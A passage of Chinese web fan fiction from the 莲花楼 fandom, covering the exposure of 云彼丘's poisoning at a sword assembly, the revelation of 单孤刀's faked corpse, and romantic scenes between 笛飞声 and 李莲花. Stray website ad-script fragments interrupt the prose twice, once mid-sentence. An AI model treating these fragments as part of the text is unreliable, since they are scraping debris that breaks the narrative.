李莲花轻轻松开手:“青冢兄,你新建的梅苑,还有异种梅吗?”
“你是不是还要问,有没有十八朵的?”琵公子冷笑一声。
李莲花眨了眨眼睛,欣然道:“青冢兄果然是吾之知己啊。”
“一株都没有。”琵公子冷酷无情地道,有点后悔自己为什么要闹着从金鸳盟据点回天机山庄了。
如果还留在那里,大不了和三王两仪无颜一起闯相思梨花阵,而不是在这里被这对宿敌闪瞎眼睛。
诶等等,不对,没听说乔婉娩喜欢梨花啊,为什么这个梨花阵要取名相思?
琵公子意味深长地看了李莲花一眼,合着你也是个十年才开花的木头呐。
301
台上,笛飞声的目光如刀割斧砍,凝聚在云彼丘身上。
“你自裁吧。”他冷冷淡淡道:“本尊不想脏了刀。”
纪汉佛额角冒汗,涩声道:“笛盟主,这是百川院内务。”
“内务?”笛飞声重复一声,才冷然道:“从石水出走,你和白江鹑便犹豫不决。本尊是给李相夷颜面,才愿意宽限一月。”
他抄前一步,手指抚上刀柄:“可现在看来,你们根本不配!”
302
赏剑大会参与之人众多,听得越发糊涂了。
“笛盟主啥意思啊?”
“对啊,云院主是做什么了?”
“可是,云院主十年不怎么出门,好像是有点不对劲。”
“说的好像佛白就出来了似的,这些年出外勤的不都是前不久出走的石院主吗?”
303
方多病这会儿连李莲花的话都不肯听了,双手竖起在口前做喇叭状:“就是,你们不配,先有云彼丘下碧茶之毒,后有少师剑在手保不住,百川院不如拆了盖猪圈!”
没拉住的何晓惠扶额长叹,何晓凤、展云飞都下意识看向李莲花。
十年来倍受剧毒磋磨的剑神,只是缓缓颤了颤眼皮。
细密的睫毛遮住他的眼眸,一时间情绪难判。
304
“什么?碧茶之毒?”有人不可置信:“云彼丘……他对谁下了碧茶之毒?”
“……还用问吗?谁能值得笛盟主如此郑重?”
“不可能……他……他怎么敢的?!”
305
肖紫矜震惊极了:“云彼丘!”
他是不想李相夷回来影响自己和乔婉娩的关系,甚至难以接受李相夷还活着的事实。
但碧茶之毒四个字,令种种情绪翻涌而至。
“你……”那双沉郁的眼里怨怼难掩,一句质问脱口而出:“你真对相夷下了碧茶之毒?!”
云彼丘低着头,默不作声地跪倒下去。
306
现场寂静了一瞬,然后一片哗然。
“真的,李门主……李门主竟死的那么冤!”
“天呐,对门主下碧茶之毒,他是想篡位吗?”
“不,你们别忘了,笛盟主一出关就处死了角丽谯。”
“哦,那个妖女……是她蛊惑了云彼丘?”
议论纷纷不停。
307
“锵。”剑已出鞘,是乔婉娩。
她气得浑身发抖,再想到无了大师带来的消息与被归还的香囊、佛珠,指着三位院主的手指不自觉发抖:“你们都知道,你们都瞒着!”
难怪相夷十年不归,放任自己嫁给紫矜。
碧茶之毒,天下无解。
308
“百川院包庇云彼丘。”笛飞声不为所动:“除石水尽心尽力,依照李相夷之命行事奔波,还值得宽宥一二,你们可是养尊处优了十年。”
他终于将刀握在掌中。
刀光印照眉眼,冷淡坚定如初。
“本尊初知真相,便将家务事处理干净了。”笛飞声逼问道:“你们是自己处置自己,还是本尊替李相夷清理门户?!”
李莲花无声地呼出一口气,像是怕了血一般,抬臂挡住眼睛。
309
“都怪我太弱。”方多病这个开心果,还在他耳畔用最小的声音嘀咕:“不然该我替你清理门户,给他们一人灌一杯碧茶。”
虽然笛盟主是师娘,但你们还没公开啊,我却已经是百川院的院主们都知道的李相夷之徒嘛。
哦,当时是自称也不要紧,后来不是补票了嘛。
李莲花绝倒:“连阿飞都只是想一人一刀,你可比我俩狠多了。”
“以其人之道还治其人之身而已,谁让他们一个是加害者,另外两个非要慷你之慨呢?”方多病得意洋洋:“我在国子监可不是白读书的。”
展云飞、何晓凤极力忍笑,何晓惠在李莲花询问的目光中捂住了脸。
她错了,她不该嫌弃小宝非要拜李相夷为师的!
就小宝这个破性子,大概也只有当年的李相夷、现在的李莲花治得了。
310
笛飞声的耳朵微微一动。
一人一杯碧茶?
好主意,可记方小宝一功。
311
不过,他并不打算多加纠缠。
“嘭!”一掌之后,台上人仰人翻,滚地葫芦多不胜数。
完全没有躲闪的云彼丘伤得最重,匍匐在地上吐血不止:“咳咳咳。”
皮都没磕破的乔婉娩,顺着同天机山庄相反的方向,直直倒进屋子里,昏迷了过去。
笛飞声甚至还很好心,让肖紫矜做了垫背。
台下观战不敢插手的人都听见了他的闷哼声,大概是被碰得骨折了吧。
“乌合之众。”笛飞声索然无味地收掌:“没有李相夷,四顾门也好,百川院也罢,都一群废物!”
312
他垂眸看着适才一手出刀也没放下的少师断剑,珍之又珍地放回剑鞘,将剑与自己的刀一起背在身后。
这举动,让不少人欲言又止、止言又欲。
有谁还记得,我们是来赏少师剑的吗?
(法国笑话提醒)
结果,百川院不但没保管好,还被金鸳盟的大魔头当众把剑抢走了。
甚至这剑之前就被盗过,也是笛飞声提醒普渡寺才找回来的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
。
罢了罢了,笛盟主说的对,没有李相夷的百川院确实废物。
他们管不了太多事儿,能查大部分案子,缉拿凶手为受害人伸个冤,就算不错了。
313
“云彼丘看起来没救了,佛白也至少得闭关个几年的样子……”有人低声苦恼:“出外勤的石水院主还出走了,那以后查案谁负责?”
正准备飞下台的笛飞声:“……”
在李莲花坦然平静但绝对含有‘你看着办,办不到就别想进门了’之意的眼神下,他差点汗流浃背。
早知道就派人把石水抓回来了,现在还能顶个缸。
“哼。”扼腕的笛盟主瞥了台下一眼,难得收回前言:“有理,本尊险些思虑不周。”
那人没想到这话被听见就算了,大魔头真能听进去,不禁睁大了眼睛。
“李相夷未归,江湖刑堂为他所立,不得散!”众人便见笛飞声一掌拍向佛白,将悲风白杨之力祛除,将伤势维持在每天都痛但不会死的地步。
他又一掌废了云彼丘的武功,将之跟两人丢在一起,语气带了点轻松:“尔等纵然带伤,也得继续办案!”
李莲花差点笑出声。
老笛真不容易啊,从来只见他杀人,何时见他收回杀招之力的哈哈哈。
314
“无了大师,昔年你与李相夷交好。”好在笛盟主还是会拉盟友的:“如今佛彼白失道,只可为查案所用。石水不归,新院主烦请多观察。”
我就知道。无了双掌一合,唱佛号道:“李门主当年设佛彼白石之时,每人麾下都有弟子,如今不妨先从内部考验一二,此事交给乔姑娘与肖大侠最好。”
“至于石院主……”他想了想,又提议道:“就请诸位来宾稍稍注意,看见了便告知一二。以她性格,当不会真弃百川院若敝履。如何?”
315
大家当然纷纷点头。
虽然失道,但百川院在查案上十年没出过什么差错,佛彼白石暂时还不能同时退出江湖,如此已是上佳方案了。
诶,怎么觉得笛盟主比十年前有耐心、重视大局多了?
“哼,就这样。”笛飞声应了,神色一如既往冷酷无情。
哦,还是没变的,刚刚肯定是错觉。武林中人如是想到。
316
“还有一事,无颜。”笛飞声忽然又想到了,才确定的一件事。
早把赏剑大会现场围住,金鸳盟之人一听令,当即就有了反应。
“尊上。”无颜走了出来,领人拖了一具棺材上前。
笛飞声则看向方多病:“你查出来的,你自己说。”
“唉。”方多病叹了口气,脸上的少年意气一瞬敛去,回眸有点担心地看了看李莲花,对展云飞使了个眼色。
展云飞一头雾水。
“三位院主。”再是不屑百川院的行事,方多病都还是行了个礼:“为加入百川院,我同你们打了个赌,破几个案子再入。第一件是灵山派掌门蹊跷登仙,第二件是玉城二小姐之死,这第三件嘛……”
他拍开棺材,眼神却发冷:“来,你们认一认四顾门单副门主的尸骨。”
317
原来如此,小宝想要说的,就是此次他去采莲庄查案,发现狮魂线索,却发觉尸骨有异。
看来,我这一世的教育之法还是有效的,他一人独行,竟发现了不对。
天机山庄几人就见,李莲花的手指紧了紧,像是想捏住剑但空无一物。
318
台上几人已强撑伤体,凑过去验尸了。
到底是多年经验,哪怕养尊处优,面对巨大威压也不敢不小心谨慎,这具造假的尸骨,到底没能瞒过去。
“这是假的!”云彼丘上手一扯,见护甲碎裂,当场就失魂落魄了。
纪汉佛也脸色大变:“门主当初寻到尸骨时,也验过遗容。副门主身上穿着这个护甲,右手的小指也断了半截,当初混乱之时未曾分辨过。”
方多病看着虚假的护甲,眸色更冷了。
“咳咳。”乔婉娩和肖紫矜被白江鹑从昏迷之地带出,此刻咳嗽着,挤上前去道:“你们看看小指。”
乔婉娩脸色很苍白:“单孤刀破阵之时,确实被箭簇震断了半截指骨,可这小指却是平平斩断的,这根本不是他的尸骸!”
“让相夷去拼命的尸体,竟然是假的。”她泪眼朦胧,几乎踉跄了:“相夷还为此中了碧茶之毒。”
看了半晌的笛飞声,用前所未有的冷漠语气道:“这是另外一个人,被下了南胤秘术无心槐之毒,在无知无觉中被挫骨剥皮,活生生改造成了单孤刀的模样。哼,你四顾门的副门主,当真神通广大啊!”
319
“什么?南胤人?”
“这是单孤刀安排的?他……他可是李门主的师兄啊,总不会不知道李门主是什么反应吧?”
“别自欺欺人了,单孤刀明显是假死脱身。就是不知道,角丽谯是否与他有勾结,才蛊惑云彼丘为李门主下了碧茶之毒。”
“当年单孤刀搜寻南胤后裔,明面上是为了保护中原,可实则是颠覆武林,这等秘闻江湖上早有传闻,只是没有人敢告诉李门主,不就是因为大家知道,他绝不会相信嘛。”
笛飞声把棺门合拢了:“为此人找地方葬了。”
“李相夷不归,四顾门既已解散,除非他回来,否则莫要再重建!”他冷眼瞪向百川院之人:“至于单孤刀,金鸳盟昔年因他损失惨重,本尊绝不会善罢甘休。”
几人沉默不语,都默认了。
但很显然,今日之事,仍然没有结束。
“万人册苏文才之后可在?!”笛飞声放下刀,声音在内力下放出。
320
赏剑大会这么热闹,和乔婉娩交好,又恰好在普渡寺附近和义兄一块见了莲花楼主一面,苏小慵当然不会错过。
“在在在!”这一刻,她被杀气冻得一个激灵,但还是在关河梦关切担心的目光中,苦着脸站了出去:“笛盟主有话要带请直说,我保证一字不差带给我爷爷。”
笛飞声抱着刀,语气平淡:“你告诉他,十年前东海一战,李相夷中碧茶之毒,本尊胜之不武,退回第二。第一空置,等本尊找回李相夷,解了毒再一战决定。”
这个第一,他可不打算因为自己活着出现,就让全天下以为“死了”的李相夷输了。
但前有百川院庇护下毒害死门主之人十年,后有少师剑寻回后被毁,要是还敢不找他们的门主,反而被金鸳盟找到,那被武林唾弃看低就是活该了。
语罢,笛飞声自觉所有事情都处理完了,便拂袖飞离而去。
321
为了找石水,前来百川院问线索,杨昀春若有所思。
第二?
也就是说,笛盟主有意再次屠榜?
哦,那首当其冲的就是浮屠三圣。
对百川院全部好感,都被这段时间之事磨光,他无声一笑,前去结识苏小慵了。
作为小辈,还是主动点把自己的名次往下撤吧。
咳,绝不是害怕一刀就被杀了,死了还要被嫌弃现在的万人册太水。
14. 【笛花】重生玉城时13
322
赏剑大会“圆满”结束了。
李莲花直到走回客房,都一言不发。
他肉眼可见的难过感染了周围人,天机山庄几位来宾连大气都不敢喘。
323
“你……没事吧?”到底是被方多病使过眼色又本就和李相夷有交情,展云飞低声问了一句。
李莲花轻轻摇了摇头。
走在最后的何家姐妹俩让人守在周围,又把前后几扇门窗都关严实了,才和他们一起围坐在桌前。
324
“我弃了染上贺家孩童之血的刎颈,单孤刀就断了少师。”李莲花垂下眸子:“他倒是真会踩我痛脚。”
方多病一声不吭,只掀起了袍脚,低头跪在他面前。
很显然,从发现单孤刀尸骨有假,到参加赏剑大会,少年一如平常的笑容下,是一切查得清清楚楚后的强装镇定。
325
“行了,你起来吧。”李莲花叹了口气:“这些事本就和你无关。”
方小宝长进是很大,但比起前世同龄时的活泼,简直沉稳到让他这个师父都觉得心疼了。
“就算开始是看在单孤刀的份上,可十年后你还记得,又有缘分屡次碰上,便已是注定了。”李莲花语气淡淡地宽慰道:“况且,你当真以为,扬州慢是个人就能练成?”
326
十八岁练成扬州慢,自己并非敝帚自珍之辈,当然试图教过铁定会是未来妻子的阿娩,还有感情至深的师兄。
可是,纵然自己手把手引导着内力在体内流动,二人还是没能练成。
这就让自己更不敢直接告知心法口诀,就生怕师兄和阿娩私底下摸索,最终走火入魔。
而前世连战万圣道,同样无人有扬州慢内力,便也证明了单孤刀就算还记得内力流动之法,也根本找不到能练成的人。
327
是以,方多病的资质虽比不得自己和老笛,却甩了其他人一条街。
嗯,特别是远远甩开了他那个猪狗不如的亲爹,真不愧是我一眼定下的徒弟,坐在轮椅上也能被我慧眼识珠!
“别撒娇了。”李莲花勾起嘴角,把还在地上跪着犹豫的方多病一把提起来,拎回了椅子上:“真过意不去的话,就好好练扬州慢,以后等我解毒的时候搭把手。”
方多病如释重负,斩钉截铁道:“好!”
“对了,何堂主,其实我该向天机山庄道个歉。”李莲花柔和地笑了:“单孤刀虽是我师兄,但抛妻弃子在先,欺师灭祖在后。你们本可以置身事外,却因我收小宝为徒,被迫卷了进来。”
328
老笛今天对方小宝的态度摆在这里,谁还猜不到天机山庄与金鸳盟有那么点交情?
但金鸳盟现在的名声仍然算不上好,生意长久做下去,又有单孤刀在暗中虎视眈眈,很可能和前世一样,会给天机山庄带来危机。
329
“李门主……不,或许你更喜欢被叫做李神医?二妹和单孤刀的事,可比你下山还早。”何晓惠摆了摆手:“当年我是迁怒过整个四顾门,但现在也看开了,你可千万别什么脏的臭的责任都往身上背。”
她语重心长道:“同一个师门,一起长大的师兄弟,一个人卑鄙无耻、心狠手辣,另一个光风霁月、历劫重生,这么大的差别,还用说什么?”
何晓凤、展云飞和方多病忍不住点了点头。
是啊,人和人的差距,可比人和猪的差距还大。
尤其今天见识了百川院其实是一群什么样的货色,就更佩服李相夷了。
他当年到底是怎么拉扯起这一群除了查案啥啥不擅长,连地契都外落于人,会被拆掉二字威胁的废物,还能弄得像模像样的?!
330
“多谢何堂主体谅了,但单孤刀一事,我绝不会有所偏私。”李莲花笑叹一声:“我师父的死,当年五十八位兄弟的死,都要向他讨回!”
他忽然拍了拍方多病的肩膀:“你就算了,儿子打老子,天理不容,回头守好天机山庄,躲远点就行。”
方小宝更成熟了,实力也更强了,就更可能犯到单孤刀面前。
他现在实力是不错,但南胤各种各样的秘术连老笛都有可能栽,绝非一个小辈能轻易应付的。
好不容易重来一世,千万不能让上辈子没出事的人出事儿了。
331
“本少爷才不会死。”方多病小声嘀咕,被何晓凤拎到旁边去了。
不一会儿,百川院的侍女就送来了一桌佳肴,颇有台上丢下的颜面要从其他方面找回的意思。
当然,天机山庄几人看看李莲花更黑了的脸色,实在不能昧着良心说,这行为有用。
咳,他们越发好奇只擅长查案的佛彼白石,十年前跟随李相夷是怎么闯下赫赫声名的。
大概是看透他们的好奇,李莲花勉强坚持到酒足饭饱,就飞快退席,完美避开因单孤刀一事是方多病最先查出,亲自来问细节的佛彼白。
332
他刚回莲花楼,就被一人揽入怀中。
“噗通。”耳垂抵靠胸口,听心如擂鼓。
李莲花眨了眨眼眸,终于不再掩饰骨子里的恼火与歉疚:“阿飞,我对不起少师。早知道,就不让你送回去了。”
前一世本想终生不负,却不得不亲手断了少师。
此生本想旧缘新续,偏偏逃不过少师一断。
333
“无妨。”笛飞声嗓音沉稳,拥抱极暖:“我们一起,去为少师报了这个仇。”
已经联系了神兵谷之事,还是别说了的。
施文绝似乎也气得不轻,只以为自己和李相夷是宿敌,都在自己面前喘着粗气,对之前穿着假宝甲的假尸体破口大骂了。
但他说得对,单孤刀身上有宝甲,如果要斩奸除恶,一定要割下头颅。
“好。”李莲花笑了起来。
他倾过身,亲了亲笛飞声昳丽多情的眸,从里面看见了灼烧的烈焰,不禁笑得更欢了:“其实琵公子没说错,笛盟主今天大发神威,居然不打算把知道很多的本门主关进囫囵屋……好好审问一番吗?”
“……”笛飞声被逗得喉结一动,喉口只觉干渴。
但他还是坚持住了,先提起正事道:“青尊他们闯阵救走了阎王寻命,现在三王两仪无颜俱在,借一个给你几日,已是无妨。”
334
离开极乐塔之后,李莲花渐渐告知了一些南胤秘事,就包括金玉黄权。
其中的权,就是四象青尊的祖宗。
笛飞声那时回忆起四象青尊手底下最得用的人,容色确实与中原相异。
但彼时他虽是金鸳盟盟主,三王两仪无颜一早就追随创业、彼此信任,也就不可能管他人私事太多,竟没在意这样的异样。
335
“真的啊?”李莲花继续逗他:“那青尊可就成我的家臣了,他继续留在金鸳盟,就算我的聘礼哦。”
前些日子事情太多,就没让四象青尊来认亲。
现下可以挪出手,可得吓他一大跳,以掌握日后的主动权。
“算算算。”笛飞声的耳朵已经红了,很是无奈道:“都随你。”
李莲花心满意足,又亲了亲他的脸,从眼角滑落到鼻尖再到唇瓣。
就算该做的都做过了,笛飞声也还是心跳加速,不自觉把人揽得更紧。
336
这个吻,绵延似灵蛇窟中终年不熄的烛火。
然后,渐渐就从唇间灼烧到了全身,留下一簇簇火花一样的艳红。
“到底是聘礼,还是嫁妆?”笛飞声沉着嗓子,喑哑低促地笑了笑。
涣散的眸有一瞬凝合,被品尝到总觉得有轻微刺痛的颈间与胸口又被轻轻拧了一下,李莲花张了张嘴,只吐出一串似泣更似喘的叹息。
是聘礼!他只好继续用眼神征战沙场。
笛飞声便继续笑了。
深夏急雨,打湿芭蕉,点滴到天明。
337
翌日上午,四象青尊被叫过来的时候,还在想这次拜见盟主夫人,要不要提醒一下‘李门主您还没发喜糖呢’。
一刻钟后,他苦着脸,跪在龙萱公主和芳玑太子的后人面前,把独享复国财富而不听指令的先人暗自骂了一遍。
断了的少师剑锋锐仍存,仅仅看着李莲花抚弄剑尖,四象青尊就觉得浑身发冷,遂选择了无话不说。
又一刻钟,交代完了手头财富、族人名单、其他三位倒霉蛋近日情况,四象青尊提都不敢提喜糖了。
338
“青尊。”李莲花倒是笑盈盈的。
他一手托腮,一手口出狂言:“回去后置备一套皇后礼服,嗯,按照你们盟主的身材来。”
四象青尊瞪大了眼睛:“……啊?”
“顺便提醒一下,封家,就是当年风阿卢的风氏,也认了一个皇族为主上。”李莲花继续笑:“按照年龄,是我哥哥。但我哥哥死的太早,为了照顾我,把玉佩给了当时一起生活的一个乞丐。后来师父找过来,把我们一起带上云隐山学艺,那个乞丐失忆,以为玉佩是他自己的。”
四象青尊听懂了。
所以,他不止是瞪大了眼睛,还连眼珠子快要掉出来了:“封家疯了吗?单孤刀长得那么丑,哪里像专出美人的南胤皇族了?!”
“噗。”内室有人忍不住笑出了声。
339
李莲花黑着脸,回眸瞪他:“好笑吗?”
“美人名副其实。”笛飞声走了出来:“就算不提你,角丽谯虽恶毒,但若把她和单孤刀相提并论,真就委屈她了。那位封家家主,怕不是个睁眼瞎。”
四象青尊深以为然,飞快点头附和:“尊上所言甚是!”
“罢了,这不重要。”李莲花摆了摆手:“万圣道的势力,情有可原的我已收拢。封磬日后是生是死,端看他跟着单孤刀造孽多少。”
石寿村的实验,他已命令万圣道听令于自己的几人,找借口说服封磬停下来。
如今,前有横推笛家堡,后有脚踹百川院,老笛的实力一览无余,也该心系业火痋的封磬、单孤刀心动不已了。
340
万圣道?笛飞声虽对金鸳盟、四顾门衰落后崛起甚快的势力抱有怀疑,但也是头一回听见,李莲花用这么肯定的语气提起。
现在看来,他已去过万圣道,还瞒住单孤刀、封磬,以血脉为引拉拢了一批可用之人。
笛飞声相信李相夷吃过亏之后,现在的李莲花在用人上不会再出差错,便一言不发立在旁边。
说漏嘴的李莲花想想之前的隐瞒,不自觉有点儿心虚。
但他摸了摸笛飞声给他的装着业火母痋的药罐子,就又心沉意静起来。
李莲花便正大光明地旧事重提,还郑重其事道:“青尊啊,皇后礼服的置备就交给你了,这可是我复国登基时的重中之重呐。”
“……尊上……”四象青尊涩声唤了一声。
笛飞声还没说话,李莲花就歪头搭上他的肩膀,笑容灿烂如骄阳在天:“老笛,你会配合的,对吧?”
“……嗯。”在四象青尊见鬼的眼神里,笛飞声勾起嘴角应了。
可他也为四象青尊解了惑:“两仪仙子一贯眼光很好,既然皇后礼服交给青尊,那盟主夫人的便让他们夫妻俩一起负责吧。”
被扳回一局的李莲花:“……哼!”
341
叮咛四象青尊联系玉楼春,找借口为武功不济但好奇心重的莲花楼主及其护卫阿飞要一张今年的漫山红请帖,李莲花才把汗流浃背的家臣送走。
他再扭头,就迎上了笛飞声饶有兴趣的目光:“漫山红?”
“到时候,我带你见识一下,什么叫做……”李莲花眸中有着冷光:“巾帼不让须眉。”
笛飞声没听明白。
但只要不违原则、不碍李莲花本身安危,对于爱侣所说,他只会顺从地点头:“好。”
“对了,我要我那个表妹角丽谯。”李莲花枕上笛飞声的胸膛,指尖隔着锦衣,拨弄着胸口那道无法消弭的疤痕。
笛飞声握住他撩火的手,仍然不问缘由,只沉声笑叹道:“好。”
342
或许是关押时
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
间有些长了,角丽谯剩余的死忠全灭在劫狱上,她被带过来时乖巧了不少。
但抬眸看到李莲花的时候,那眸中仍有怨怼之意,却也多了不少活力:“李相夷!”
李莲花离开玉城前,曾叮嘱玉红烛重金聘请性格活道、眼界开阔的几朝老臣,拿着史书一章章给角丽谯补课,还派人课后逼她写出一篇篇策论让老师批改,不照做就饿肚子。
角丽谯被折腾地不轻。
可是,她也懂了不少原本没放在眼里的道理,甚至在瞧见李莲花之后,没试图扑上去拳打脚踢。
343
“表妹这就忘恩负义了啊。”李莲花故意靠在笛飞声怀里,见角丽谯满眼都是想揍自己出气的意思,半点不在意笛飞声了,心里甚为满意。
不愧是南胤秘术逆情蛊,效果忒棒!
“师资雄厚,随叫随到,问什么都有人回答你……”他含着笑意道:“你以为很便宜吗?”
角丽谯这才看了笛飞声一眼,冷哼道:“花的是你的钱吗?不,花的是金鸳盟的,而金鸳盟这十年钱是我赚回来的,你倒是会借花献佛!”
“不错,知道站在道义高处指责,看来课没白补。”李莲花笑意更深:“以史为鉴,你已经学了很多,但想学以致用,首先得是自由身。”
角丽谯彻底冷静了下来:“罢了,皇族同室操戈,再正常不过。既然成王败寇,表哥想让我这可怜的表妹去做什么,就尽管直说吧。”
“是和亲如王昭君?”她甚至抱臂哼笑道:“还是美人计如西施?”
344
李莲花莞尔一笑:“表妹未免太小看为兄的肚量了,都不是。我要的,是你拯救自己,也拯救别人。”
“玉楼春,漫山红,十年前开始,拐卖女子再无收敛。”他意味深长地给出东方皓的行踪:“去吧,让我看看,你能做到什么地步?”
命人为她洗了浓妆、换上淡妆,再加上让万圣道准备已久、毫无破绽的李相谯身份经历,令被废了画皮内功但容貌仍美的角丽谯被东方皓拐走卖去女宅,可谓轻而易举。
而女宅的姑娘们恩怨分明、很有潜力,日后不论在朝在野,都会是一股助力。
345
临行前,笛飞声去见了角丽谯一回。
“本尊可不是李相夷,没他那么多耐心。”他冷冷道:“你雷火炸盟,十二护法仅存玉红烛。此番若你培养不出合适的继任者,就以死谢罪。”
瞧着自己追随了十多年的那道背影,角丽谯的心从未有一刻这么冷静。
她自嘲地想,幸好有逆情蛊,不然看他们成双成都、感情甚笃,尊上对自己又这般冷酷无情,大概已经心痛死了。
346
角丽谯离开,完美错过了接下来的好戏。
从四象青尊处知道很多之后,李莲花驾驭莲花楼四处行医,顺便看着史书,还有万圣道从宫里偷渡出来的、前些年被批过的奏折,也算是自学帝王之道。
为了什么方面都懂一点,譬如治病、救灾、军事、后勤、安抚、基建,他甚至以万圣道的路径,找了不少朝中官员的评级考卷来看,还夜入府衙研习卷宗,力求入个门日后能接底下人的试探,不会被糊弄过去。
与此同时,李莲花也将方多病带在身边历练,打算挑个适合的时机,去金满堂的元宝山庄伺机行动。
347
莲花楼也理所当然多了一个叫阿飞的护卫,保证和四象青尊对玉楼春的说法一致。
“还护卫……”客居莲花楼的莲花楼主李莲花的好友、天机山庄少主方多病翻着白眼道:“不如说是契兄弟得了。”
白天当护卫就寸步不离,晚上主人神神秘秘不睡觉,阿飞也非要跟着。
说起来,现在住在莲花楼的方多病,倒是对当年四顾门门主精力充沛、夜夜不睡觉的传闻深信不疑了。
但就你们这样黏黏糊糊,还护卫?
谁看了不得说你们肯定有一腿啊!
真不如大大方方讲是契兄弟。
348
“小屁孩。”他提出的异议,换来了摘去阿飞面具的金鸳盟盟主一个白眼。
方多病跳起来就想反驳,却被一句话哽得哑口无言——
“主人回来了。”只见笛飞声飞快戴上面具,去迎行医回来的李莲花,轻手轻脚为他脱下了外袍,顺便把五两银子收好。
方多病喃喃道:“现在还是大白天啊。”
话虽如此,他红着脸,老老实实回了自己房间,不但把门关死,还拿出两团棉花,堵住了耳朵。
349
“哼,你又逗他了。”李莲花低笑一声,顺着笛飞声掌间的力道放松了身体。
他倒进浴桶里,任由指尖在肌肤上敲敲打打,舒缓着一日的紧绷疲惫。
但笛飞声也不是白做按摩的,没过一会儿,一把梨花洒在水面上,又在荡起的漩涡中,黏上丝丝缕缕缠绕的发尾。
平稳的呼吸声变得紊乱而黏腻,洁白的手指捏紧桶壁,又按捺不住地滑落下去。
“本尊给李门主的聘礼,已秘密送去云隐山了。”笛飞声挽起李莲花通红耳廓旁的碎发:“师娘都收了,两仪留在那里陪她。忘川花如果寻到,也会第一时间送去。”
整整十年,就算旧人皆回,他也不敢保证金鸳盟内再无人有异心。
那么,最安全的解毒之地,便是云隐山了。
“……好。”李莲花整张脸埋进了水里,比水温还烫。
350
夏日多雨。
莲花楼外,渐出彩虹。
351
“禀尊上。”无颜带着新情报,出现在楼内:“御赐天龙杨昀春,已主动撤下排名。”
他翻了翻万人册:“但目前的第一名,东瀛浮屠三圣还赖在榜单上。我们查到,他们就在万圣道。”
“单孤刀的人?倒是巧了。”楼上的笛飞声为李莲花掖了掖被角,才下楼道:“方小宝下午会陪他去元宝山庄。”
无颜面不改色:“浮屠三圣以量取胜,绝非尊上一合之敌。一个上午来回,足够了。”
笛飞声微微颔首,翩然而去。
15. 【笛花】重生玉城时14
笛飞声离开莲花楼后,李莲花轻轻睁开眼睛,一跃出了小楼。
“好久不见,花花。”不远处,一个人正等着呢。
妙手空空挥了挥手:“看看,你说两清,还不是能用得上我嘿嘿。”
瞧着这位旧友,李莲花恍惚了一下,才笑道:“是啊,你倒是讲义气。”
他也就尝试着联系一回,想不到妙手空空回信那么快。
353
“你的病,好些没?”虽是君子之交淡如水,但妙手空空还是挺关心面前这个机缘巧合结交的朋友。
李莲花轻笑一声:“好多了,放心。”
“我要找的那个金鸳盟的人……”他顿了顿,才道:“我也找到了。之前心情不好,是不是吓着你了。”
当时瞪妙手空空那一眼,似乎真把人吓得不轻咳。
但到底要多谢他那句提醒,自己赶去嘉州灵山道场,一路追查下去,方有了后来种种。
354
“还好,每个人都有自己的秘密嘛。”妙手空空看得很开。
作为神偷,他最会的就是适可而止。
“对了,你这回叫我,是有什么事儿要帮忙吗?”妙手空空跃跃欲试。
李莲花瞧着他,眉眼流露几分戏谑:“先别急,赏剑大会发生的事情,你都听说了吧?”
“当然,闹得那么大,谁能不知道?”妙手空空双手掐腰:“哎呀呀,真的想不到单孤刀那么大胆子。现在可好,金鸳盟财大气粗,直接就下了必杀令。”
他比划了个人头出来:“单孤刀那个头哦,赏金都能等同一模一样大的金子了。”
“……败家。”李莲花忍不住骂道:“招摇!”
妙手空空眨了眨眼睛:“花花,你这话当我面说就算了,千万别让金鸳盟的人听见。但凡事关李门主,笛盟主就好大方,还不许别人质疑。”
355
李莲花哽住,不得不把话题扭回去:“我需要你帮我偷个人。”
“啊,你要偷人?”妙手空空十分意外:“是什么人,大美女吗?”
李莲花扶额长叹:“你别捣乱,不是女人。”
356
青尊交代清楚之后,他已经密令万圣道去查了好几代的事情,再加上单孤刀和封磬本就在查,结果出来的很快。
但金羚剑董羚确实不见踪影有一阵了,估摸着还是和前世一样着了道,被金满堂关进了密室。
到底是无辜者,江湖风评又的确好,至少自己都没查出他有什么劣迹,的确是个正道人士,便能救就救吧。
357
“我要你去元宝山庄密室,偷一个倒霉鬼。”李莲花打定主意,也不废话:“是金羚剑董羚。”
妙手空空吃了一惊:“董羚?!他实力可不弱啊,是被暗算了吗?”
“对。”李莲花点了点头:“所以你只要救人,别拿任何东西。看见奇奇怪怪的玩意,也千万别去碰。不然出了事,别怪我没提醒你。”
泊蓝人头无所谓,天冰钥匙才是要命之物。
“行。”心里有了底,妙手空空答应了下来:“但丑话说在前面,要是我被发现了,我会直接丢下他就逃。”
李莲花并不意外:“这是自然,我救他只是江湖道义,你却是朋友。”
“好说。”妙手空空咧嘴一笑:“花花,那我去喽,人救回来,就放你这里?”
李莲花颔首答应,目送他离去。
358
花开两朵,各表一枝。
“轰隆。”一刀如霹雳弦惊,劈碎了万圣道的牌匾。
一队人顿时鱼贯而出,为首之人脸色发黑:“笛盟主,我万圣道与你金鸳盟井水不犯河水,你这是何意?”
果然,单孤刀不敢亲自出现,怕被我认出来。笛飞声晒然道:“打榜。”
“啊?”封磬完全没弄明白:“什么打榜?!”
359
这些天,他们想方设法在不暴露己方的情况下突破金鸳盟防线,采集笛家堡忽然被连根拔起的真相。
好不容易有了点线索,还没来得及找笛飞声聊一聊,试探业火母痋的下落,就被赏剑大会发生之事劈脸一巴掌,不得不立即排查十年前的布局,尽可能快速查缺补漏,不让主上和南胤大业暴露出去。
这已经让内部不少人,甚至连他封家堂弟都不满了,觉得主人出手断少师剑纯属胡闹。
毕竟,李相夷身中碧茶之毒,十年不见踪迹,笛飞声幻想对手还活着,我们总不能跟着相信‘剑神一定还活着’这种毫无根据的荒谬之言吧。
并不知道他自以为铁板一块的万圣道,如今有多少李莲花的人在拱火,封磬焦头烂额地往上劝、往下骂,何曾想大家在总部坐得好好的呢,这个煞星突然就上门砸场子了。
明面上,双方可是什么摩擦都没有啊!
360
“不知道?”笛飞声的脸色瞬间冷寒无比,完美符合魔道魁首的身份:“浮屠三圣,万人册第一!本尊才在百川院说过话,十年后第一第二仍然只能是李相夷和本尊,给了几天时间还不下榜,你万圣道是完全不把本尊放在眼里啊!”
冷汗彻底溢出封磬的额头。
他终于知道,自己犯了什么弥天大错。
